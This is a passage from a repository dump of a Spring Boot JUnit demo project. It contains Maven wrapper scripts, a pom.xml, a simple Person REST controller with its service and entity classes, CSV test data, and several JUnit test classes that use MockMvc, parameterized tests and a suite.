set.\"\nfi\n\nCLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher\n\n# traverses directory structure from process work directory to filesystem root\n# first directory with .mvn subdirectory is considered project base directory\nfind_maven_basedir() {\n\n  if [ -z \"$1\" ]\n  then\n    echo \"Path not specified to find_maven_basedir\"\n    return 1\n  fi\n\n  basedir=\"$1\"\n  wdir=\"$1\"\n  while [ \"$wdir\" != '/' ] ; do\n    if [ -d \"$wdir\"/.mvn ] ; then\n      basedir=$wdir\n      break\n    fi\n    # workaround for JBEAP-8937 (on Solaris 10/Sparc)\n    if [ -d \"${wdir}\" ]; then\n      wdir=`cd \"$wdir/..\"; pwd`\n    fi\n    # end of workaround\n  done\n  echo \"${basedir}\"\n}\n\n# concatenates all lines of a file\nconcat_lines() {\n  if [ -f \"$1\" ]; then\n    echo \"$(tr -s '\\n' ' ' < \"$1\")\"\n  fi\n}\n\nBASE_DIR=`find_maven_basedir \"$(pwd)\"`\nif [ -z \"$BASE_DIR\" ]; then\n  exit 1;\nfi\n\nexport MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-\"$BASE_DIR\"}\necho $MAVEN_PROJECTBASEDIR\nMAVEN_OPTS=\"$(concat_lines \"$MAVEN_PROJECTBASEDIR/.mvn/jvm.config\") $MAVEN_OPTS\"\n\n# For Cygwin, switch paths to Windows format before running java\nif $cygwin; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --path --windows \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --path --windows \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --windows \"$CLASSPATH\"`\n  [ -n \"$MAVEN_PROJECTBASEDIR\" ] &&\n    MAVEN_PROJECTBASEDIR=`cygpath --path --windows \"$MAVEN_PROJECTBASEDIR\"`\nfi\n\nWRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\nexec \"$JAVACMD\" \\\n  $MAVEN_OPTS \\\n  -classpath \"$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar\" \\\n  \"-Dmaven.home=${M2_HOME}\" \"-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}\" \\\n  ${WRAPPER_LAUNCHER} $MAVEN_CONFIG \"$@\"\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/mvnw.cmd",
    "content": "@REM ----------------------------------------------------------------------------\n@REM Licensed to the Apache Software Foundation (ASF) under one\n@REM or more contributor license agreements.  See the NOTICE file\n@REM distributed with this work for additional information\n@REM regarding copyright ownership.  The ASF licenses this file\n@REM to you under the Apache License, Version 2.0 (the\n@REM \"License\"); you may not use this file except in compliance\n@REM with the License.  You may obtain a copy of the License at\n@REM\n@REM    http://www.apache.org/licenses/LICENSE-2.0\n@REM\n@REM Unless required by applicable law or agreed to in writing,\n@REM software distributed under the License is distributed on an\n@REM \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n@REM KIND, either express or implied.  See the License for the\n@REM specific language governing permissions and limitations\n@REM under the License.\n@REM ----------------------------------------------------------------------------\n\n@REM ----------------------------------------------------------------------------\n@REM Maven2 Start Up Batch script\n@REM\n@REM Required ENV vars:\n@REM JAVA_HOME - location of a JDK home dir\n@REM\n@REM Optional ENV vars\n@REM M2_HOME - location of maven2's installed home dir\n@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands\n@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending\n@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven\n@REM     e.g. to debug Maven itself, use\n@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n@REM ----------------------------------------------------------------------------\n\n@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'\n@echo off\n@REM enable echoing my setting MAVEN_BATCH_ECHO to 'on'\n@if \"%MAVEN_BATCH_ECHO%\" == \"on\"  echo %MAVEN_BATCH_ECHO%\n\n@REM set %HOME% to equivalent of $HOME\nif \"%HOME%\" == \"\" (set \"HOME=%HOMEDRIVE%%HOMEPATH%\")\n\n@REM Execute a user defined script before this one\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPre\n@REM check for pre script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_pre.bat\" call \"%HOME%\\mavenrc_pre.bat\"\nif exist \"%HOME%\\mavenrc_pre.cmd\" call \"%HOME%\\mavenrc_pre.cmd\"\n:skipRcPre\n\n@setlocal\n\nset ERROR_CODE=0\n\n@REM To isolate internal variables from possible post scripts, we use another setlocal\n@setlocal\n\n@REM ==== START VALIDATION ====\nif not \"%JAVA_HOME%\" == \"\" goto OkJHome\n\necho.\necho Error: JAVA_HOME not found in your environment. >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n:OkJHome\nif exist \"%JAVA_HOME%\\bin\\java.exe\" goto init\n\necho.\necho Error: JAVA_HOME is set to an invalid directory. >&2\necho JAVA_HOME = \"%JAVA_HOME%\" >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n@REM ==== END VALIDATION ====\n\n:init\n\n@REM Find the project base dir, i.e. the directory that contains the folder \".mvn\".\n@REM Fallback to current working directory if not found.\n\nset MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%\nIF NOT \"%MAVEN_PROJECTBASEDIR%\"==\"\" goto endDetectBaseDir\n\nset EXEC_DIR=%CD%\nset WDIR=%EXEC_DIR%\n:findBaseDir\nIF EXIST \"%WDIR%\"\\.mvn goto baseDirFound\ncd ..\nIF \"%WDIR%\"==\"%CD%\" goto baseDirNotFound\nset WDIR=%CD%\ngoto findBaseDir\n\n:baseDirFound\nset MAVEN_PROJECTBASEDIR=%WDIR%\ncd \"%EXEC_DIR%\"\ngoto endDetectBaseDir\n\n:baseDirNotFound\nset MAVEN_PROJECTBASEDIR=%EXEC_DIR%\ncd \"%EXEC_DIR%\"\n\n:endDetectBaseDir\n\nIF NOT EXIST \"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\" goto endReadAdditionalConfig\n\n@setlocal EnableExtensions EnableDelayedExpansion\nfor /F \"usebackq delims=\" %%a in (\"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a\n@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%\n\n:endReadAdditionalConfig\n\nSET MAVEN_JAVA_EXE=\"%JAVA_HOME%\\bin\\java.exe\"\n\nset WRAPPER_JAR=\"%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.jar\"\nset WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\n%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% \"-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%\" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*\nif ERRORLEVEL 1 goto error\ngoto end\n\n:error\nset ERROR_CODE=1\n\n:end\n@endlocal & set ERROR_CODE=%ERROR_CODE%\n\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPost\n@REM check for post script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_post.bat\" call \"%HOME%\\mavenrc_post.bat\"\nif exist \"%HOME%\\mavenrc_post.cmd\" call \"%HOME%\\mavenrc_post.cmd\"\n:skipRcPost\n\n@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'\nif \"%MAVEN_BATCH_PAUSE%\" == \"on\" pause\n\nif \"%MAVEN_TERMINATE_CMD%\" == \"on\" exit %ERROR_CODE%\n\nexit /B %ERROR_CODE%\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_junit</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n\t\t<relativePath />\n\t</parent>\n\n\t<!-- <dependencyManagement> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> \n\t\t<artifactId>spring-boot-dependencies</artifactId> <version>2.5.14</version>\n\t\t<type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement> -->\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.junit.jupiter</groupId>\n\t\t\t<artifactId>junit-jupiter-params</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t</dependencies>\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/main/java/com/jun/plugin/springbootjunit/SpringbootJunitApplication.java",
    "content": "package com.jun.plugin.springbootjunit;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.context.annotation.ComponentScan;\n\n@SpringBootApplication\n@ComponentScan(basePackages = \"com.jun.plugin.springbootjunit.**\")\npublic class SpringbootJunitApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(SpringbootJunitApplication.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/main/java/com/jun/plugin/springbootjunit/controller/PersonController.java",
    "content": "/**\n * @Auther: yuanyuan\n * @Date: 2018/8/29 14:14\n * @Description:\n */\npackage com.jun.plugin.springbootjunit.controller;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\n\nimport com.jun.plugin.springbootjunit.entity.Person;\nimport com.jun.plugin.springbootjunit.rest.RestResponse;\nimport com.jun.plugin.springbootjunit.service.PersonService;\n\n@RestController\n@RequestMapping(\"/person\")\npublic class PersonController {\n\n    @Autowired\n    PersonService personService;\n\n\n\n    @GetMapping(\"/getPerson/{id:\\\\d+}\")\n    @ResponseBody\n    public RestResponse<Person> getPerson(@PathVariable(\"id\") int id) {\n        Person person =  personService.getPerson(id);\n        return new RestResponse<Person>(true, \"查询成功\", person);\n    }\n\n\n    @PostMapping(\"/savePerson\")\n    public RestResponse savePerson(@RequestBody Person person) {\n        personService.savePerson(person);\n        return new RestResponse<Person>(true, \"保存成功\", person);\n    }\n\n\n    @DeleteMapping(\"/deletePerson/{id}\")\n    public RestResponse deletePerson(@PathVariable(\"id\") int id) {\n        personService.deletePerson(id);\n        return new RestResponse<String>(true, \"删除成功\", \"\");\n    }\n\n\n    @PutMapping(\"/updatePerson\")\n    public RestResponse updatePerson(@RequestBody Person person) {\n        personService.updatePerson(person);\n        return new RestResponse<Person>(true, \"更新成功\", person);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/main/java/com/jun/plugin/springbootjunit/entity/Person.java",
    "content": "/**\n * @Auther: yuanyuan\n * @Date: 2018/8/29 13:54\n * @Description:\n */\npackage com.jun.plugin.springbootjunit.entity;\n\npublic class Person {\n\n    private  int id;\n    private String name;\n\n    public Person(){\n\n    }\n\n    public Person(int id, String name) {\n        this.id = id;\n        this.name = name;\n    }\n\n    public int getId() {\n        return id;\n    }\n\n    public void setId(int id) {\n        this.id = id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/main/java/com/jun/plugin/springbootjunit/rest/RestResponse.java",
    "content": "package com.jun.plugin.springbootjunit.rest;\n\n\npublic class RestResponse<T> {\n\n    private boolean success;\n    private String message;\n    private T data;\n\n    public RestResponse(boolean success, String message, T data) {\n        this.success = success;\n        this.message = message;\n        this.data = data;\n    }\n\n    public boolean getSuccess() {\n        return success;\n    }\n\n    public void setSuccess(boolean success) {\n        this.success = success;\n    }\n\n    public String getMessage() {\n        return message;\n    }\n\n    public void setMessage(String message) {\n        this.message = message;\n    }\n\n    public T getData() {\n        return data;\n    }\n\n    public void setData(T data) {\n        this.data = data;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/main/java/com/jun/plugin/springbootjunit/service/PersonService.java",
    "content": "package com.jun.plugin.springbootjunit.service;\n\nimport com.jun.plugin.springbootjunit.entity.Person;\n\npublic interface PersonService {\n\n     Person getPerson(int id);\n\n     void savePerson(Person person);\n\n     void deletePerson(int id);\n\n     void updatePerson(Person person);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/main/java/com/jun/plugin/springbootjunit/service/impl/PersonServiceImpl.java",
    "content": "/**\n * @Auther: yuanyuan\n * @Date: 2018/8/29 14:18\n * @Description:\n */\npackage com.jun.plugin.springbootjunit.service.impl;\n\nimport org.springframework.stereotype.Service;\n\nimport com.jun.plugin.springbootjunit.entity.Person;\nimport com.jun.plugin.springbootjunit.service.PersonService;\n\n@Service\npublic class PersonServiceImpl implements PersonService {\n\n\n    @Override\n    public Person getPerson(int id) {\n        Person person = new Person();\n        person.setId(id);\n        person.setName(\"zhangsan\");\n        return person;\n    }\n\n    @Override\n    public void savePerson(Person person) {\n        System.out.println(\"==========================\"+person.getId());\n        System.out.println(\"==========================\"+person.getName());\n    }\n\n    @Override\n    public void deletePerson(int id) {\n        System.out.println(\"==========================\"+id);\n    }\n\n    @Override\n    public void updatePerson(Person person) {\n        System.out.println(\"==========================\"+person.getName());\n        System.out.println(\"==========================\"+person.getId());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/main/java/com/jun/plugin/springbootjunit/test/TestApp.java",
    "content": "/**\n * @Auther: yuanyuan\n * @Date: 2018/8/8 14:18\n * @Description:\n */\npackage com.jun.plugin.springbootjunit.test;\n\npublic class TestApp {\n\n\n    public  int  add(int a,int b){\n            return a+b;\n    }\n\n    public boolean canVote(int i) {\n        if (i<=0) {\n            throw new IllegalArgumentException(\"age should be +\");\n        }else\n        if (i<18) {\n            return false;\n        } else {\n            return true;\n        }\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/main/resources/application.yml",
    "content": "server:\n  port: 8080"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/main/resources/data.csv",
    "content": "﻿id,exceptId,result\n1,1,查询成功\n2,1,查询\n2,2,查询成功\n3,3,查询失败\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/test/java/com/jun/plugin/springbootjunit/SpringbootJunitApplicationTests.java",
    "content": "package com.jun.plugin.springbootjunit;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringbootJunitApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/test/java/com/jun/plugin/springbootjunit/test1/BaseJunitTest.java",
    "content": "/**\n * @Auther: yuanyuan\n * @Date: 2018/8/29 16:01\n * @Description:\n */\npackage com.jun.plugin.springbootjunit.test1;\n\n\nimport org.junit.runner.RunWith;\n\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\nimport org.springframework.test.context.web.WebAppConfiguration;\n\nimport com.jun.plugin.springbootjunit.SpringbootJunitApplication;\n\n@RunWith(SpringJUnit4ClassRunner.class)\n@SpringBootTest(classes = SpringbootJunitApplication.class)\n@WebAppConfiguration\npublic class BaseJunitTest {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/test/java/com/jun/plugin/springbootjunit/test1/F4JfromFile.java",
    "content": "/**\n * @Auther: yuanyuan\n * @Date: 2018/9/5 14:43\n * @Description:\n */\npackage com.jun.plugin.springbootjunit.test1;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.params.ParameterizedTest;\nimport org.junit.jupiter.params.provider.CsvFileSource;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.TestContextManager;\nimport org.springframework.test.context.web.WebAppConfiguration;\nimport org.springframework.test.web.servlet.MockMvc;\nimport org.springframework.test.web.servlet.setup.MockMvcBuilders;\nimport org.springframework.web.context.WebApplicationContext;\n\nimport com.jun.plugin.springbootjunit.SpringbootJunitApplication;\n\nimport static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;\nimport static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print;\nimport static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;\nimport static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;\n\n\n@SpringBootTest(classes = SpringbootJunitApplication.class)\n@WebAppConfiguration\npublic class F4JfromFile  {\n\n\n    private MockMvc mockMvc;\n\n\n    @Autowired\n    private WebApplicationContext wac;\n\n    private TestContextManager testContextManager;\n\n    @BeforeEach\n    public void setUp() throws Exception {\n        this.testContextManager = new TestContextManager(getClass());\n        this.testContextManager.prepareTestInstance(this);\n        this.mockMvc = MockMvcBuilders.webAppContextSetup(wac).build();\n\n    }\n\n\n\n    @ParameterizedTest\n    @CsvFileSource(resources = \"/data.csv\",numLinesToSkip = 1)\n    public void getPersonTest(int id, int exceptId,String result) throws Exception {\n        mockMvc.perform(get(\"/person/getPerson/\"+id))\n                .andDo(print())\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"data.id\").value(exceptId))\n                .andExpect(jsonPath(\"message\").value(result));\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/test/java/com/jun/plugin/springbootjunit/test1/JUnit4Test.java",
    "content": "/**\n * @Auther: yuanyuan\n * @Date: 2018/8/30 09:26\n * @Description:\n */\npackage com.jun.plugin.springbootjunit.test1;\n\nimport org.junit.*;\n\npublic class JUnit4Test {\n    @Before\n    public void before2() {\n        System.out.println(\"@Before22222\");\n    }\n\n    @Before\n    public void before3() {\n        System.out.println(\"@Before33\");\n    }\n\n    @Before\n    public void before() {\n        System.out.println(\"@Before\");\n    }\n\n\n\n    @Test\n    public void test() {\n        System.out.println(\"@Test\");\n        Assert.assertEquals(5 + 5, 10);\n    }\n\n    @Ignore\n    @Test\n    public void testIgnore() {\n        System.out.println(\"@Ignore\");\n    }\n\n    @Test(timeout = 5000)\n    public void testTimeout() throws InterruptedException {\n        Thread.sleep(4000);\n        System.out.println(\"@Test(timeout = 50)\");\n        Assert.assertEquals(5 + 5, 10);\n    }\n\n    @Test(expected = ArithmeticException.class)\n    public void testExpected() {\n        System.out.println(\"@Test(expected = Exception.class)\");\n        throw new ArithmeticException();\n    }\n\n    @After\n    public void after() {\n        System.out.println(\"@After\");\n    }\n\n    @BeforeClass\n    public static void beforeClass() {\n        System.out.println(\"@BeforeClass\");\n    };\n\n    @AfterClass\n    public static void afterClass() {\n        System.out.println(\"@AfterClass\");\n    };\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/test/java/com/jun/plugin/springbootjunit/test1/ParameterTest.java",
    "content": "/**\n * @Auther: yuanyuan\n * @Date: 2018/9/5 10:12\n * @Description:\n */\npackage com.jun.plugin.springbootjunit.test1;\n\n\nimport org.assertj.core.util.Arrays;\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.junit.runners.Parameterized;\nimport org.junit.runners.Parameterized.Parameters;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.web.WebAppConfiguration;\nimport org.springframework.test.web.servlet.MockMvc;\nimport org.springframework.test.web.servlet.setup.MockMvcBuilders;\nimport org.springframework.web.context.WebApplicationContext;\n\nimport com.jun.plugin.springbootjunit.SpringbootJunitApplication;\n\nimport java.util.Collection;\n\nimport static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;\nimport static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print;\nimport static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;\nimport static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;\n\n\n@RunWith(Parameterized.class)\n//1.更改默认的测试运行器为RunWith(Parameterized.class)\n@SpringBootTest(classes = SpringbootJunitApplication.class)\n@WebAppConfiguration\npublic class ParameterTest {\n\n    //2.声明变量存放预期值和测试数据\n    private int id ;\n    private int exceptId;\n    private String result;\n\n    private MockMvc mockMvc;\n\n    @Autowired\n    private WebApplicationContext wac;\n\n    @Before\n    public void setUp() throws Exception {\n        this.mockMvc = MockMvcBuilders.webAppContextSetup(wac).build();\n    }\n\n\n\n\n    //3.声明一个返回值 为Collection的公共静态方法，并使用@Parameters进行修饰\n    @Parameters\n    public static Collection<Object> data() {\n        return Arrays.asList(new Object[][]{\n                {1, 1,\"查询成功\"},\n                {2, 1,\"查询\"},\n                {2, 2,\"查询成功\"},\n                {3, 3,\"查询失败\"}\n        });\n    }\n\n    //4.为测试类声明一个带有参数的公共构造函数，并在其中为之声明变量赋值\n    public ParameterTest(int id,int exceptId,String result) {\n        this.id = id;\n        this.exceptId = exceptId;\n        this.result = result;\n    }\n\n\n    //5.运行测试方法，即可完成对多组数据的测试\n    @Test\n    public void getPersonTest() throws Exception {\n        mockMvc.perform(get(\"/person/getPerson/\"+id))\n                .andDo(print())\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"data.id\").value(exceptId))\n                .andExpect(jsonPath(\"message\").value(result));\n    }\n\n\n\n\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/test/java/com/jun/plugin/springbootjunit/test1/PersonControllerTest.java",
    "content": "/**\n * @Auther: yuanyuan\n * @Date: 2018/8/29 14:28\n * @Description:\n */\npackage com.jun.plugin.springbootjunit.test1;\n\nimport javafx.beans.binding.When;\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.mockito.*;\nimport org.mockito.junit.MockitoJUnitRunner;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.http.MediaType;\nimport org.springframework.test.context.junit4.SpringRunner;\nimport org.springframework.test.context.web.WebAppConfiguration;\nimport org.springframework.test.web.servlet.MockMvc;\nimport org.springframework.test.web.servlet.result.MockMvcResultMatchers;\nimport org.springframework.test.web.servlet.setup.MockMvcBuilders;\nimport org.springframework.web.context.WebApplicationContext;\n\nimport com.jun.plugin.springbootjunit.SpringbootJunitApplication;\nimport com.jun.plugin.springbootjunit.controller.PersonController;\nimport com.jun.plugin.springbootjunit.entity.Person;\nimport com.jun.plugin.springbootjunit.service.PersonService;\nimport com.jun.plugin.springbootjunit.service.impl.PersonServiceImpl;\n\nimport static org.hamcrest.Matchers.is;\n\nimport static org.mockito.Mockito.when;\nimport static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;\nimport static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.*;\nimport static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print;\nimport static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = SpringbootJunitApplication.class)\n@WebAppConfiguration\npublic class PersonControllerTest {\n\n    private MockMvc mockMvc;\n\n\n    @Autowired\n    private WebApplicationContext wac;\n\n\n\n    @Mock\n    PersonService personService;\n\n    @InjectMocks\n    PersonController personController;\n\n    @Before\n    public void setUp() throws Exception {\n        this.mockMvc =MockMvcBuilders.webAppContextSetup(wac).build();\n    }\n\n    /**\n     * Controller 测试\n     * MockMvc可以对controller中的一次调用进行模拟，perform就是一次请求，MockMvcRequestBuilders进行url的请求，\n     * andExcept方法为对Controller类、调用方法、视图和model的预期设置，andDo进行这次请求的执行，最后andReturn返回。\n     */\n    @Test\n    public void getPersonTest() throws Exception {\n        //when().thenReturn()\n        int id = 1;\n        mockMvc.perform(get(\"/person/getPerson/\"+id))\n                .andDo(print())\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"data.id\").value(1))\n                .andExpect(jsonPath(\"message\").value(\"查询成功\"));\n    }\n\n    @Test\n    public void savePersonTest() throws Exception {\n        mockMvc.perform(post(\"/person/savePerson/\").\n                contentType(TestUtil.APPLICATION_JSON_UTF8).\n        content(TestUtil.convertObjectToJsonBytes(new Person(1,\"zhangsan\")))\n        )\n        .andDo(print())\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"success\",is(true)));\n    }\n\n    @Test\n    public void deletePersonTest() throws Exception {\n        int id = 1;\n        mockMvc.perform(delete(\"/person/deletePerson/\"+id))\n                .andDo(print())\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"success\", is(true)))\n                ;\n    }\n\n    @Test\n    public void updatePersonTest() throws Exception {\n        mockMvc.perform(\n                put(\"/person/updatePerson\")\n                        .contentType(TestUtil.APPLICATION_JSON_UTF8)\n                        .content(TestUtil.convertObjectToJsonBytes(new Person(1,\"zhangsan\"))))\n                .andDo(print())\n                .andExpect(MockMvcResultMatchers.status().isOk())\n                .andExpect(jsonPath(\"success\", is(true)));\n        when(personService.getPerson(1)).thenReturn(new Person(1,\"lisi\"));\n\n         //1. controller mvc test\n         mockMvc.perform(get(\"/person/getPerson/1\"))\n                .andDo(print())\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"id\").value(1))\n                .andExpect(jsonPath(\"name\").value(\"lisi\"));\n\n       // verify(personService).getPerson(1);\n\n         //2.service stub test\n//        Person stub = new Person(1,\"zhangsan\");\n//        when(personService.getPerson(3)).thenReturn(stub);\n//        Assert.assertEquals(stub, personService2.getPerson(3));\n//        verify(personService2).getPerson(3);\n\n    }\n\n\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/test/java/com/jun/plugin/springbootjunit/test1/SuiteTest.java",
    "content": "/**\n * @Auther: yuanyuan\n * @Date: 2018/9/5 10:04\n * @Description:\n */\npackage com.jun.plugin.springbootjunit.test1;\n\nimport org.junit.runner.RunWith;\nimport org.junit.runners.Suite;\n\n@RunWith(Suite.class)\n@Suite.SuiteClasses({PersonControllerTest.class, TestAppTest.class,TestClass.class})\npublic class SuiteTest {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/test/java/com/jun/plugin/springbootjunit/test1/TestAppTest.java",
    "content": "/**\n * @Auther: yuanyuan\n * @Date: 2018/9/3 10:38\n * @Description:\n */\npackage com.jun.plugin.springbootjunit.test1;\n\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport com.jun.plugin.springbootjunit.test.TestApp;\n\nimport static org.hamcrest.MatcherAssert.assertThat;\nimport static org.hamcrest.Matchers.containsString;\nimport static org.hamcrest.Matchers.is;\nimport static org.junit.Assert.fail;\n\npublic class TestAppTest {\n\n    private  TestApp testApp;\n\n    @Before\n    public void  testapp(){\n\n        testApp = new TestApp();\n    }\n\n    @Test\n    public void testAdd(){\n\n        int add = testApp.add(10, 20);\n        assertThat(30,is(add));\n    }\n\n\n    @Test\n    public void  testCan(){\n\n        try {\n            testApp.canVote(0);\n            fail(\"expected IllegalArgumentException to be thrown\");\n        }catch (IllegalArgumentException ex){\n            assertThat(ex.getMessage(),containsString(\"age should be +\"));\n        }\n\n\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/src/test/java/com/jun/plugin/springbootjunit/test1/TestClass.java",
    "content": "/**\n * @Auther: yuanyuan\n * @Date: 2018/8/8 14:23\n * @Description:\n */\npackage com.jun.plugin.springbootjunit.test1;\n\n\n\nimport org.junit.*;\nimport org.junit.rules.ExpectedException;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\nimport org.springframework.test.context.web.WebAppConfiguration;\n\nimport com.jun.plugin.springbootjunit.SpringbootJunitApplication;\nimport com.jun.plugin.springbootjunit.test.TestApp;\n\nimport java.util.HashMap;\n\nimport static org.hamcrest.MatcherAssert.assertThat;\nimport static org.hamcrest.Matchers.*;\nimport static org.junit.Assert.assertTrue;\nimport static org.junit.Assert.fail;\n\n//SpringJUnit支持，由此引入Spring-Test框架支持！\n@RunWith(SpringJUnit4ClassRunner.class)\n//指定我们SpringBoot工程的Application启动类\n//新版的Spring Boot取消了@SpringApplicationConfiguration这个注解，用@SpringBootTest就可以\n@SpringBootTest(classes 